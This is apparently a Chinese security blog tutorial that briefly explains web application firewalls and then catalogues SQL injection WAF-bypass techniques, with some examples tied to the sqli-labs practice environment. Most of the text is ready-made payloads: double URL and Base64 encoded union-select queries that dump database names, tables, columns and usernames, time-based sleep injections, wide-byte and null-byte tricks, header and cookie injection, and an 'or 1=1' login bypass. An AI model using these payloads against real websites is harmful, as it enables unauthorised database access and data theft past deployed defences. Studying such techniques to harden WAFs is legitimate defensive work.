目录
WAF基本知识:
- WAF的定义
WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。 - WAF的工作原理
WAF处理的四大流程:预处理、规则检测、处理模块、日志记录
1)预处理:在接收到请求里流量的时候首先判断是否为HTTP/HTTPS请求,之后查看该URL是否在白名单之内,若该URL在白名单之中,则直接将URL交给后端Web服务器进行处理,不在白名单之内的数据包进入规则检测部分
2)规则检测:每款WAF产品都有自己的一套过滤体系,对数据包中的数据进行检测过滤,识别恶意攻击行为
3)处理模块:针对不同的检测结果,处理模块会做出不同的安全防御动作。将符合过滤规则的数据包交给后端处理,将不符合规则的请求进行阻断、告警、记录等处理
4)日志记录:WAF在处理的过程中会将拦截处理的日志记录下来,在后面供我们审计查看分析日志 - WAF的分类:
WAF分为四种:软WAF,硬WAF,云WAF,自定义WAF
1)软WAF:像安全狗、D盾、云锁等这就是软WAF
2)硬WAF:支持多种方式部署到Web服务器前端,硬件防火墙中可能还有除软件防火墙以外的其他功能,例如CF(内容过滤)IDS(入侵侦测)IPS(入侵防护)以及VPN等等的功能
3)云WAF:云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新。对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测,如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理。例如:阿里云云盾、腾讯云WAF
4)自定义WAF:自定义过滤规则,比如过滤敏感字符,对存在威胁的字符进行编码、转义 - WAF的部署方式
透明网桥、反向代理、镜像流量、路由代理
0x01 各种编码绕过
对输入的数据进行编码,需要注意:编码的数据被带入数据库之前时需要进行解码。
- URL编码:
字符 = % + 该字符对应16进制的ASCII码值,在第二次的url编码中只对百分号进行编码,如:' -> %27 -> %2527
- 源码:从源码中可以看出这里过滤了单引号,并且对过滤后的数据进行了了url解码
- 思路:我们可以对单引号进行url编码,从而绕过单引号过滤,然后再进行url解码,得到单引号
- bypass:
当id中有单引号时,从源码可以知道该单引号被过滤,我们需要对单引号进行一次编码
进行一次url编码,这里注意:因为url本身就有一次编码,这里只对%再进行一次url编码即可
Payload如下:
#1' and '1'='1
1%2527 and %25271%2527%3D%25271
#1' and '1'='2
1%2527 and %25271%2527%3D%25272
- 双重URL编码
-源码:从源码中可以看出对输入进去的数据先进行了一次url解码,然后再对单引号进行过滤,最后还有一次url解码
- 思路:根据源码进行url双重编码
- bypass:
从url可以看出经过一次url编码后的数据代入数据库时并没有出现报错信息
但是经过双url编码后得到的结果如下,出现报错,证明我们输入的单引号已成功带入数据库
payload如下:
#查看当前数据库及数据库数据文件路径:-1' union select 1,database(),@@datadir--+
-1%252527 union select 1,database(),@@datadir--+
- 其他编码
例如:Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似,下面列举一个常见的Base64编码:
-
源码:从源码可以看出对输入的数据首先进行base64解码,再对单引号进行过滤,最后再进行一次url解码
-
思路:对源码进行逆向分析,首先对单引号需要进行一次url编码,再对url编码后的数据进行base64编码
-
bypass:
先进行url编码
再进行base64编码
将得到的数据输入,出现报错
Payload如下:
#-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
JTJEMSUyNyUyMHVuaW9uJTIwc2VsZWN0JTIwMSUyQzIlMkNncm91cCU1RmNvbmNhdCUyOHRhYmxlJTVGbmFtZSUyOSUyMGZyb20lMjBpbmZvcm1hdGlvbiU1RnNjaGVtYSUyRXRhYmxlcyUyMHdoZXJlJTIwdGFibGUlNUZzY2hlbWElM0RkYXRhYmFzZSUyOCUyOSUyMw==
其他的编码也类似,这里不再一一赘述
0x02 字母大小写混合绕过
大小写混合绕过:
数据库使用不区分大小写的方式处理SQL关键字。
例: uNion selECT 1,database()--+
- 源码:从源码看出这里过滤了union与select的纯大写与纯小写
- 思路:可以通过字母大小写混合绕过以
- bypass:
字母大小写混合绕过
0x03 双关键字绕过
双关键字绕过:
例:ununionion selselectect 1,database()--+
- 源码:从源码看出这里过滤了union与select的纯大写与纯小写
- bypass:双关键字绕过
0x04 空格过滤绕过
常见符号:
符号 | 含义 |
---|---|
%0A | 新建一行 |
%0B | TAB 键(垂直) |
%0C | 新的一页 |
%0D | return 功能 |
%A0 | 空格 |
%09 | TAB 键(水平) |
- 使用空白字符代替空格进行绕过
数据库类型 | 可使用的字符 |
---|---|
MySQL5 | 0A,0B,0C,0D,09,A0,20 |
MySQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
PostgreSQL | 0A,0C,0D,09,20 |
SQLite3 | 0A,0C,0D,09,20 |
Oracl 11g | 0A,0C,0D,09,20,00 |
Payload如下:
这里也过滤了and与or,这里用||代替or
1' or '1'='1
1%27%A0||%A0%271%27=%271
- 使用+代替空格进行绕过
-1+union+select+1,2,database()
- 使用/**/代替空格进行绕过
过滤器对SQL关键字后面的空格进行了检查,相当于过滤了空格
union/**/select/**/password/**/from/**/tables/**/where/**/username/**/like/**/'admin'--+
注:若过滤了=,我们可以使用LIKE关键字代替等号
Payload如下:
-1'/**/union/**/select/**/1,2,database()--+
各种方法混合绕过:若过滤了空格及\*
,可以使用下面语句进行尝试绕过
#绕过方法:
/**/ = %2f%2a%2a%2f
union = /*!union*/ = %2f%2a%21union%2a%2f = %252f%252a%2521union%252a%252f
- 有些情况也可以使用
()
进行绕过
0x05 内联注释绕过
在MySQL数据库中,/**/
这个是多行注释,这个是SQL的标准,但是在MySQL数据库中扩展了这个功能,在/*
后面加上!
时(如:/*!select*/
),会被当做SQL语句进行执行
select password /*!from users*/;
Payload:
0/*!'union select 1,user(),2 || '1'='2*/
0x06 请求方式差异规则松懈性绕过
有些WAF同时接受GET与POST方法,但可能只在GET方法中进行了过滤,但没有在POST方法中增加过滤规则,此时可以通过POST请求方法进行绕过
sqllabs第20关:
Payload:
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='1
注意这里请求方法为GET
0x07 异常Method绕过
有些WAF只检测GET,POST方法。可以使用异常的方法进行绕过
增加了过滤规则的代码:
正常Payload:
GET /xxx/?id=1+and+sleep(5) HTTP/1.1
bypass:
DigApis /xxx/?id=1+and+sleep(5) HTTP/1.1
0x08 超大数据包绕过
部分WAF只检测固定大小内容,可通过添加无用字符进行检测绕过
- 源码如下:
正常payload:
?id=1 and sleep(5)--+
返回页面并未出现延迟
bypass:
添加无用字符,超过WAF检测的最大字符数
?id=1' and sleep(5) and 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111--+
返回页面出现延迟
0x09 复参数绕过
提交参数时,对一个参数进行多次赋不同的值(如:?id=11&id=88
),部分WAF检测的时候会检测前面的值,而后端可能会处理最后面的值,从而达到绕过
正常的Payload:
?id=1 and sleep(3)
bypass:
?id=1&id=2 and sleep(3)
0x0A 添加%绕过过滤
将WAF中过滤的关键字通过添加%进行绕过
例如:WAF中过滤了关键字select
,可将其修改为sel%ect
来绕过WAF,当数据进入后端的时候会对参数字符串进行解码,会过滤掉%,从而达到注入效果。asp.dll对asp文件后的参数进行url解码时,会直接过滤%
字符
正常Payload:
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
bypass:
0' union sel%ect 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
0x0B 协议未覆盖绕过
以下是四种常见的Content-type类型:
Content-Type: multipart/form-data
Content-Type: application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF只对一种Content-type类型增加了检测机制,此时可以尝试通过尝试替换Content-type类型来进行绕过
0x0C 宽字节绕过
宽字节注入的原因是使用了GBK编码。为了防止注入,当用户输入单引号(%27)时,此时会自动在单引号的前面添加一个反斜杠,变为%5C%27
绕过原理:这个时候可给输入的单引号前加上%df,变为%df%27
,当带到数据库中的时候,会变为%df%5C%27
,这个时候会%df%5c
会变为一个汉字,从而绕过了反斜杠转义
正常Payload:
1' and sleep(4)--+
bypass:
1%df' and sleep(4)--+
这里例子可以查看以前写的博客
0x0D 00%截断绕过
部分WAF在解析参数的时候遇见00%
就会默认参数读取结束,这样只对参数的一部分进行检测,借此可以绕过WAF
正常Payload:
?a=1&id=2 and sleep(5)--+
bypass:
?a=1%00&id=2 and sleep(5)
空字节可以有效终止字符串
id='%00' union select password from users where username='admin'--+
0x0E Cookie/X-Forworded-For注入绕过
部分WAF只对GET及POST提交的参数进行过滤,并没有对Cookie与X-Forworded-For进行过滤,所以可以在Cookie与X-Forworded-For提交参数处进行注入。同样也可以在Referer及User-Agent处尝试注入
查看以前的博客,这里有Cookie、Referer等注入
0x0F 利用pipline绕过
当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。
首先关闭burp的Repeater的Content-Length自动更新
修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。
具体实例查看这位大佬博客
0x10 冷门函数/字符/运算符绕过
floor() --> updatexml(), extractvalue()
substring() --> substr(),left(),right(),mid(),lpad(),rpad
concat() --> concat_ws(),group_concat()
limit 0,1 --> limit 1 offset 0
and --> &&
or --> ||
= --> <,>
= --> like
sleep() --> benchmark()
还有case when函数
id=2-(case when(database()='security') then 1 else 0 end)
0x11. 使用动态查询执行
数据库连接字符串
数据库 | 连接示例 |
---|---|
MySQL | ‘ab’ = ‘a’ ‘b’ |
SQL Server | ‘ab’ = ‘a’+‘b’ |
Oracle和PostgreSQL | ‘ab’ = ‘a’||‘b’ |
Oracle:'sel'||'ect'
SQL_server:'sel'+'ect'
MySQL:'sel' 'ect'
select = char(83)+char(69)+char(76)+char(69)+char(67)+char(84)
使用连字符可以尝试绕过关键字过滤,同时连字符也可以对数据库类型进行大概的判断
补充:mysql数据库中的加号与空格
- 加号
#加号计算的结果都为数字,字符与字符相加为0
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
uname=ad'+'min' or '1'='1&passwd=&submit=Submit
SELECT username, password FROM users WHERE username='ad'+'min' or '1'='1' and password='' LIMIT 0,1
#转换为下面语句
SELECT username, password FROM users WHERE username=0 or '1'='1' and password='' LIMIT 0,1
- 空格为连接字符
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
uname=ad' 'min' or '1'='1&passwd=&submit=Submit
SELECT username, password FROM users WHERE username='ad' 'min' or '1'='1' and password='' LIMIT 0,1
#转换为如下:
SELECT username, password FROM users WHERE username='admin' or '1'='1' and password='' LIMIT 0,1